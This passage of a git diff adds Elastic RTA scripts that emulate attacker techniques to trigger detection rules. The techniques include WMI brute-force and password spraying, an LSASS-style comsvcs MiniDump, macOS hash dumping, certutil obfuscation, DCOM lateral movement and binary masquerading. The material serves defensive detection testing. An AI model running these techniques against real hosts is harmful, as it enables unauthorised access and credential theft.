timeout=10, kill=True) + + elif common.CURRENT_OS == "linux": + name = "linux.ditto_and_spawn" + source = common.get_path("bin", name) + chrome = "/tmp/google-chrome" + common.copy_file(source, chrome) + + common.log("Starting browser on debug mode") + common.execute([chrome, param1, param2], timeout=10, kill=True) + else: + chrome = "C:\\Users\\Public\\chrome.exe" + common.copy_file(EXE_FILE, chrome) + + # Execute command + common.log("Mimicking the start of a browser on debug mode") + common.execute([chrome, "/c", "echo", param1, param2], timeout=10) + common.remove_file(chrome) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/brute_force_login.py b/rta/brute_force_login.py index 00b4a7684..67a7e7082 100644 --- a/rta/brute_force_login.py +++ b/rta/brute_force_login.py @@ -15,23 +15,39 @@ import sys import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="35bb73a9-cafa-4b2c-81f0-a97e2afa5e1c", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "e08ccd49-0380-4b2b-8d71-8000377d6e49", "rule_name": "Attempts to Brute Force an Okta User Account"} + ], + techniques=["T1110"], +) + + +@common.requires_os(metadata.platforms) def main(username="rta-tester", remote_host=None): if not remote_host: - common.log('A remote host is required to detonate this RTA', '!') + common.log("A remote host is required to detonate this RTA", "!") return common.MISSING_REMOTE_HOST common.enable_logon_auditing(remote_host) - common.log('Brute forcing login with invalid password against {}'.format(remote_host)) - ps_command = ''' + common.log("Brute forcing login with invalid password against {}".format(remote_host)) + ps_command = """ $PW = ConvertTo-SecureString "such-secure-passW0RD!" -AsPlainText -Force $CREDS = New-Object System.Management.Automation.PsCredential {username}, $PW Invoke-WmiMethod -ComputerName {host} -Class Win32_process -Name create -ArgumentList ipconfig -Credential $CREDS - ''' - command = ['powershell', '-c', ps_command.format(username=username, host=remote_host)] + """ + command = [ + "powershell", + "-c", + ps_command.format(username=username, host=remote_host), + ] # fail 4 times - the first 3 concurrently and wait for the final to complete for i in range(4): @@ -39,12 +55,16 @@ def main(username="rta-tester", remote_host=None): time.sleep(1) - common.log('Password spraying against {}'.format(remote_host)) + common.log("Password spraying against {}".format(remote_host)) # fail 5 times - the first 4 concurrently and wait for the final to complete for i in range(5): - random_user = ''.join(random.sample(string.ascii_letters, 10)) - command = ['powershell', '-c', ps_command.format(username=random_user, host=remote_host)] + random_user = "".join(random.sample(string.ascii_letters, 10)) + command = [ + "powershell", + "-c", + ps_command.format(username=random_user, host=remote_host), + ] common.execute(command, wait=i == 4) # allow time for audit event to process diff --git a/rta/calendar_file_mod.py b/rta/calendar_file_mod.py new file mode 100644 index 000000000..a83edb533 --- /dev/null +++ b/rta/calendar_file_mod.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="44345dc0-883f-41b7-ad34-1d84cfd57129", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Suspicious Calendar File Modification", "rule_id": "cb71aa62-55c8-42f0-b0dd-afb0bb0b1f51"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + cal_dir = Path(f"{Path.home()}/Library/Calendars/") + cal_calendar = cal_dir.joinpath("test.calendar", "Events") + cal_calendar.mkdir(parents=True, exist_ok=True) + cal_path = str(cal_calendar.joinpath("test.ics")) + common.log(f"Executing file modification on {cal_path} to mimic suspicious calendar file modification") + common.temporary_file_helper("testing", file_name=cal_path) + + # cleanup + common.remove_directory(str(cal_calendar)) + common.remove_directory(str(cal_dir)) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/certutil_file_obfuscation.py b/rta/certutil_file_obfuscation.py index ed1e2806e..706473488 100644 --- a/rta/certutil_file_obfuscation.py +++ b/rta/certutil_file_obfuscation.py @@ -12,14 +12,31 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="7b2c1b3e-2097-4e2f-bf5c-e157a91b8001", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "fd70c98a-c410-42dc-a2e3-761c71848acf", "rule_name": "Suspicious CertUtil Commands"}], + techniques=["T1140"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Encoding target") - encoded_file = os.path.abspath('encoded.txt') - decoded_file = os.path.abspath('decoded.exe') - common.execute(["c:\\Windows\\System32\\certutil.exe", "-encode", "c:\\windows\\system32\\cmd.exe", encoded_file]) + encoded_file = os.path.abspath("encoded.txt") + decoded_file = os.path.abspath("decoded.exe") + common.execute( + [ + "c:\\Windows\\System32\\certutil.exe", + "-encode", + "c:\\windows\\system32\\cmd.exe", + encoded_file, + ] + ) common.log("Decoding target") common.execute(["c:\\Windows\\System32\\certutil.exe", "-decode", encoded_file, decoded_file]) diff --git a/rta/certutil_webrequest.py b/rta/certutil_webrequest.py index c76f4a2e3..80712857e 100644 --- a/rta/certutil_webrequest.py +++ b/rta/certutil_webrequest.py @@ -9,11 +9,22 @@ # Description: Uses certutil.exe to download a file. from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="10609a63-0013-4fd0-9322-66c86c1c9501", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "3838e0e3-1850-4850-a411-2e8c5ba40ba8", "rule_name": "Network Connection via Certutil"}], + techniques=["T1105"], +) + MY_DLL = common.get_path("bin", "mydll.dll") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_DLL) def main(): # http server will terminate on main thread exit diff --git a/rta/child_w3wp.py b/rta/child_w3wp.py new file mode 100644 index 000000000..01bfdd806 --- /dev/null +++ b/rta/child_w3wp.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="be6619a2-324a-443b-9f23-2dc84733c847", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Microsoft IIS Worker Descendant", "rule_id": "89c9c5a0-a136-41e9-8cc8-f21ef5ad894b"} + ], + siem=[], + techniques=["T1190", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + w3wp = "C:\\Users\\Public\\w3wp.exe" + common.copy_file(EXE_FILE, w3wp) + + # Creating a high entropy file, and executing the rename operation + common.execute([w3wp, "/c", "cmd.exe"], timeout=10) + common.remove_file(w3wp) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/clr_logs_creation.py b/rta/clr_logs_creation.py new file mode 100644 index 000000000..c216b25a4 --- /dev/null +++ b/rta/clr_logs_creation.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="9bf3622b-dd76-4156-a89c-6845dca46b1f", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + { + "rule_name": "Managed .NET Code Execution via Windows Script Interpreter", + "rule_id": "5a898048-d98c-44c6-b7ba-f63a31eb3571", + }, + ], + siem=[], + techniques=["T1220", "T1218", "T1055", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + msxsl = "C:\\Users\\Public\\msxsl.exe" + fake_clr_path = "C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs" + fake_clr_logs = fake_clr_path + "\\msxsl.exe.log" + common.copy_file(EXE_FILE, msxsl) + + os.makedirs(fake_clr_path, exist_ok=True) + common.log("Creating a fake clr log file") + common.execute([msxsl, "-c", f"echo RTA > {fake_clr_logs}"], timeout=10) + common.remove_files(msxsl, fake_clr_logs) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/cmd_shell_via_word.py b/rta/cmd_shell_via_word.py new file mode 100644 index 000000000..75a596dcc --- /dev/null +++ b/rta/cmd_shell_via_word.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6c399694-d21c-4a19-9e58-8fa24eb399b9", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Windows Command Shell Spawned via Microsoft Office", + "rule_id": "2a396a3c-b343-42a9-b74b-c5b9925b6ee2", + } + ], + siem=[], + techniques=["T1566", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE, binary) + + # Execute command + common.execute([binary, "/c", "cmd.exe /c 'echo comspec'"], timeout=5, kill=True) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/cmstp_image_load.py b/rta/cmstp_image_load.py new file mode 100644 index 000000000..92209a3ca --- /dev/null +++ b/rta/cmstp_image_load.py @@ -0,0 +1,50 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="aa6bf766-db74-4db5-8eec-f91386b1285b", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Scriptlet Execution via CMSTP", "rule_id": "8adfa9ad-0ed2-4b1b-bdad-f2c52e1d2a00"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + cmstp = "C:\\Users\\Public\\cmstp.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\scrobj.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, cmstp) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, cmstp, "--set-version-string", "OriginalFilename", "CMSTP.EXE"]) + + common.log("Loading scrobj.dll into fake cmstp") + common.execute([cmstp, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + + common.remove_files(cmstp, dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/common.py b/rta/common.py index 365823e32..2e706a35b 100644 --- a/rta/common.py +++ b/rta/common.py @@ -11,6 +11,7 @@ import functools import getpass import inspect import os +import platform import re import shutil import socket @@ -181,7 +182,7 @@ def temporary_file(contents, file_name=None): def temporary_file_helper(contents, file_name=None): if not (file_name and os.path.isabs(file_name)): - file_name = os.path.join(tempfile.gettempdir(), file_name or "temp{:d}".format(hash(contents))) + file_name = os.path.join(tempfile.gettempdir(), file_name or f"temp{hash(contents):d}") with open(file_name, "wb" if isinstance(contents, bytes) else "w") as f: f.write(contents) @@ -302,6 +303,16 @@ def copy_file(source, target): shutil.copy(source, target) +def create_macos_masquerade(masquerade: str): + if platform.processor() == "arm": + name = "com.apple.ditto_and_spawn_arm" + else: + name = "com.apple.ditto_and_spawn_intel" + source = get_path("bin", name) + + copy_file(source, masquerade) + + def link_file(source, target): log("Linking %s -> %s" % (source, target)) execute(["ln", "-s", source, target]) @@ -323,7 +334,7 @@ def remove_file(path): def remove_directory(path): if os.path.exists(path): if os.path.isdir(path): - log("Removing directory {:s}".format(path), log_type="-") + log(f"Removing directory {path:s}", log_type="-") shutil.rmtree(path) else: remove_file(path) @@ -361,7 +372,7 @@ def serve_web(ip=None, port=None, directory=BASE_DIR): pass def server_thread(): - log("Starting web server on http://{ip}:{port:d} for directory {dir}".format(ip=ip, port=port, dir=directory)) + log(f"Starting web server on http://{ip}:{port:d} for directory {directory}") os.chdir(directory) server.serve_forever() @@ -505,13 +516,21 @@ def run_system(arguments=None): return code -def write_reg(hive, key, value, data, data_type=None, restore=True, pause=False, append=False): - # type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None +def write_reg( + hive: str, + key: str, + value: str, + data: Union[str, int], + data_type: Union[str, int, list], + restore=True, + pause=False, + append=False, +) -> None: with temporary_reg(hive, key, value, data, data_type, restore, pause, append): pass -def read_reg(hive, key, value): # type: (str, str, str) -> (str, str) +def read_reg(hive: str, key: str, value: str) -> (str, str): winreg = get_winreg() if isinstance(hive, str): @@ -537,8 +556,16 @@ def read_reg(hive, key, value): # type: (str, str, str) -> (str, str) @contextlib.contextmanager -def temporary_reg(hive, key, value, data, data_type="sz", restore=True, pause=False, append=False): - # type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None +def temporary_reg( + hive: str, + key: str, + value: str, + data: Union[str, int], + data_type: Union[str, int, list] = "sz", + restore=True, + pause=False, + append=False, +) -> None: winreg = get_winreg() if isinstance(hive, str): @@ -618,7 +645,7 @@ def temporary_reg(hive, key, value, data, data_type="sz", restore=True, pause=Fa def enable_logon_auditing(host="localhost", verbose=True, sleep=2): """Enable logon auditing on local or remote system to enable 4624 and 4625 events.""" if verbose: - log("Ensuring audit logging enabled on {}".format(host)) + log(f"Ensuring audit logging enabled on {host}") auditpol = "auditpol.exe /set /subcategory:Logon /failure:enable /success:enable" enable_logging = "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList '{}'".format( diff --git a/rta/comsvcs_dump.py b/rta/comsvcs_dump.py index 0fe256d91..42c29a04c 100644 --- a/rta/comsvcs_dump.py +++ b/rta/comsvcs_dump.py @@ -12,14 +12,42 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="413cf7ef-0fad-46fd-ab67-e94c4e3e0f0b", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "c5c9f591-d111-4cf8-baec-c26a39bc31ef", + "rule_name": "Potential Credential Access via Renamed COM+ Services DLL", + }, + {"rule_id": "208dbe77-01ed-4954-8d44-1e5751cb20de", "rule_name": "LSASS Memory Dump Handle Access"}, + { + "rule_id": "00140285-b827-4aee-aa09-8113f58a08f3", + "rule_name": "Potential Credential Access via Windows Utilities", + }, + ], + techniques=["T1003"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Memory Dump via Comsvcs") pid = os.getpid() - common.execute(["powershell.exe", "-c", "rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll", - "MiniDump", "{} dump.bin full".format(pid)]) + common.execute( + [ + "powershell.exe", + "-c", + "rundll32.exe", + "C:\\Windows\\System32\\comsvcs.dll", + "MiniDump", + "{} dump.bin full".format(pid), + ] + ) time.sleep(1) common.remove_file("dump.bin") diff --git a/rta/crashdump_disabled.py b/rta/crashdump_disabled.py new file mode 100644 index 000000000..720562152 --- /dev/null +++ b/rta/crashdump_disabled.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="775ffaa8-7a44-490b-b13d-1bfa2100b1ae", + platforms=["windows"], + endpoint=[ + {"rule_name": "CrashDump Disabled via Registry Modification", "rule_id": "77ca3fcc-f607-45e0-837e-e4173e4ffc2a"} + ], + siem=[], + techniques=["T1112"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily disabling CrashDump...") + + key = "System\\CurrentControlSet\\Control\\CrashControl" + value = "CrashDumpEnabled" + data = "0" + + with common.temporary_reg(common.HKLM, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/credential_access_dump_hashes_via_cmd.py b/rta/credential_access_dump_hashes_via_cmd.py new file mode 100644 index 000000000..307515a5c --- /dev/null +++ b/rta/credential_access_dump_hashes_via_cmd.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="0a6fcfaa-db5e-498f-9253-0f76b8a18687", + platforms=["macos"], + endpoint=[ + {"rule_name": "Dumping Account Hashes via Built-In Commands", "rule_id": "2ed766db-e0b0-4a07-8ec1-4e41dd406b64"} + ], + siem=[ + {"rule_name": "Dumping Account Hashes via Built-In Commands", "rule_id": "02ea4563-ec10-4974-b7de-12e65aa4f9b3"} + ], + techniques=["T1003"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing defaults commands to dump hashes.") + common.execute(["defaults", "ShadowHashData", "-dump"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/credential_access_known_utilities.py b/rta/credential_access_known_utilities.py new file mode 100644 index 000000000..abbf8d59b --- /dev/null +++ b/rta/credential_access_known_utilities.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="374718be-d841-4381-a75f-ef54f0d5eb18", + platforms=["windows"], + endpoint=[ + {"rule_name": "Credential Access via Known Utilities", "rule_id": "3c44fc50-2672-48b3-af77-ff43b895ac70"} + ], + siem=[], + techniques=["T1003"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "ProcessDump.exe" + common.copy_file(EXE_FILE, binary) + + # Execute command + common.execute([binary], timeout=5, kill=True) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/credential_access_osascript_phishing.py b/rta/credential_access_osascript_phishing.py new file mode 100644 index 000000000..64e223b5e --- /dev/null +++ b/rta/credential_access_osascript_phishing.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="cc7b01f9-852c-4232-8c70-ada3fb5cc515", + platforms=["macos"], + endpoint=[ + {"rule_name": "Potential Credentials Phishing via OSASCRIPT", "rule_id": "318d3d9d-ba60-40e3-bc8c-3d3304209a3c"} + ], + siem=[{"rule_name": "Prompt for Credentials with OSASCRIPT", "rule_id": "38948d29-3d5d-42e3-8aec-be832aaaf8eb"}], + techniques=["T1056"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/osascript" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake osascript commands to display passwords") + common.execute([masquerade, "osascript*display dialog*password*"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/credman_discovery.py b/rta/credman_discovery.py new file mode 100644 index 000000000..50eb18037 --- /dev/null +++ b/rta/credman_discovery.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="d12e0abb-017f-4321-adf2-20843f62b55d", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Potential Discovery of Windows Credential Manager Store", + "rule_id": "cc60be0e-2c6c-4dc9-9902-e97103ff8df9", + } + ], + siem=[], + techniques=["T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + appdata = os.getenv("LOCALAPPDATA") + credmanfile = f"{appdata}\\Microsoft\\Credentials\\a.txt" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + # Execute command + + common.execute([powershell, "/c", "echo AAAAAAAAAA >", credmanfile], timeout=10) + common.log("Cat the contents of a sample file in credman folder") + common.execute([powershell, "/c", "cat", credmanfile], timeout=10) + common.remove_file(credmanfile) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/cscript_suspicious_args.py b/rta/cscript_suspicious_args.py new file mode 100644 index 000000000..73f01c368 --- /dev/null +++ b/rta/cscript_suspicious_args.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5a2a5c20-73f6-4a08-a767-95d242b52708", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Windows Script Process Execution", "rule_id": "ffbab5db-73ae-42fd-a33f-36bf649f41cc"}, + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + cscript = "C:\\Users\\Public\\cscript.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, cscript) + common.copy_file(RENAMER, rcedit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, cscript, "--set-version-string", "OriginalFilename", "cscript.exe"]) + + cmd = "echo {16d51579-a30b-4c8b-a276-0ff4dc41e755}; iwr google.com -UseBasicParsing" + common.log("Simulating a suspicious command line and making a web request") + common.execute([cscript, "-c", cmd], timeout=10) + + common.remove_files(cscript, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/curl_payload_download.py b/rta/curl_payload_download.py new file mode 100644 index 000000000..b6c56d2d9 --- /dev/null +++ b/rta/curl_payload_download.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="bf7645b2-d0cf-428d-a158-b1479160e60c", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Payload Downloaded by Process Running in Suspicious Directory", + "rule_id": "04d124d4-2be7-405e-b830-9494f927a51e", + } + ], + siem=[], + techniques=["T1105"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/testfile" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake curl commands to download payload") + common.execute([masquerade, "childprocess", "curl", "portquiz.net"], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/darkradiation.py b/rta/darkradiation.py new file mode 100644 index 000000000..54cda4da7 --- /dev/null +++ b/rta/darkradiation.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4843eb25-3579-473a-b309-76d02eda3085", + platforms=["macos", "linux"], + endpoint=[{"rule_name": "DARKRADIATION Ransomware Infection", "rule_id": "33309858-3154-47a6-b601-eda2de62557b"}], + siem=[], + techniques=["T1486"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/xargs" + if common.CURRENT_OS == "linux": + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake xargs command to execute DARKRADIATION infection") + common.execute([masquerade, "openssl", "enc", "test.☢test"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dcom_lateral_movement_with_mmc.py b/rta/dcom_lateral_movement_with_mmc.py index 14574823c..cb54ac95d 100644 --- a/rta/dcom_lateral_movement_with_mmc.py +++ b/rta/dcom_lateral_movement_with_mmc.py @@ -11,9 +11,19 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os("windows") +metadata = RtaMetadata( + uuid="7f4cfcf6-881b-48b0-864d-21eba06e57cc", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "51ce96fb-9e52-4dad-b0ba-99b54440fc9a", "rule_name": "Incoming DCOM Lateral Movement with MMC"}], + techniques=["T1021"], +) + + +@common.requires_os(metadata.platforms) def main(remote_host=None): remote_host = remote_host or common.get_ip() common.log("DCOM Lateral Movement with MMC") @@ -29,7 +39,9 @@ def main(remote_host=None): $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\cmd.exe',$null,'whoami','7'); $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\calc.exe',$null,$null,'7'); $dcom.quit(); - """.format(remote_host=remote_host) + """.format( + remote_host=remote_host + ) command = ["powershell", "-c", ps_command] diff --git a/rta/ddns_lolbas.py b/rta/ddns_lolbas.py new file mode 100644 index 000000000..af9a1cb43 --- /dev/null +++ b/rta/ddns_lolbas.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="95d34e55-789d-40bf-9988-dbb803c2d066", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Connection to Dynamic DNS Provider by a Signed Binary Proxy", + "rule_id": "fb6939a2-1b54-428c-92a2-3a831585af2a", + } + ], + siem=[], + techniques=["T1218", "T1071"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + # Execute command + common.log("Using PowerShell to connect to a DDNS provider website") + common.execute( + [powershell, "/c", "iwr", "https://www.noip.com", "-UseBasicParsing"], + timeout=10, + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/ddns_unsigned.py b/rta/ddns_unsigned.py new file mode 100644 index 000000000..bff4ad7ab --- /dev/null +++ b/rta/ddns_unsigned.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="9e85eb9f-ee9e-4c73-8a83-14dd29a5aa80", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Connection to Dynamic DNS Provider by an Unsigned Binary", + "rule_id": "75b80e66-90d0-4ab6-9e6b-976f7d690906", + } + ], + siem=[], + techniques=["T1071"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, posh) + + # Execute command + common.log("Using PowerShell to connect to a DDNS provider website") + common.execute([posh, "/c", "iwr", "https://www.noip.com", "-UseBasicParsing"], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/defensive_evasion_reflective_loading.py b/rta/defensive_evasion_reflective_loading.py new file mode 100644 index 000000000..a907afbe3 --- /dev/null +++ b/rta/defensive_evasion_reflective_loading.py @@ -0,0 +1,29 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b023cf4b-2856-4170-9ea0-884041904159", + platforms=["macos"], + endpoint=[ + {"rule_name": "MacOS Monterey Reflective Code Loading", "rule_id": "16fba7a9-f8f6-43ce-ae24-6a392a48e49c"} + ], + siem=[], + techniques=["T1620", "T1106"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing deletion on /private/tmp/NSCreateObjectFileImageFromMemory-test file.") + common.temporary_file_helper("testing", file_name="/private/tmp/NSCreateObjectFileImageFromMemory-test") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/defensive_evasion_safari_modification.py b/rta/defensive_evasion_safari_modification.py new file mode 100644 index 000000000..11af1258b --- /dev/null +++ b/rta/defensive_evasion_safari_modification.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + 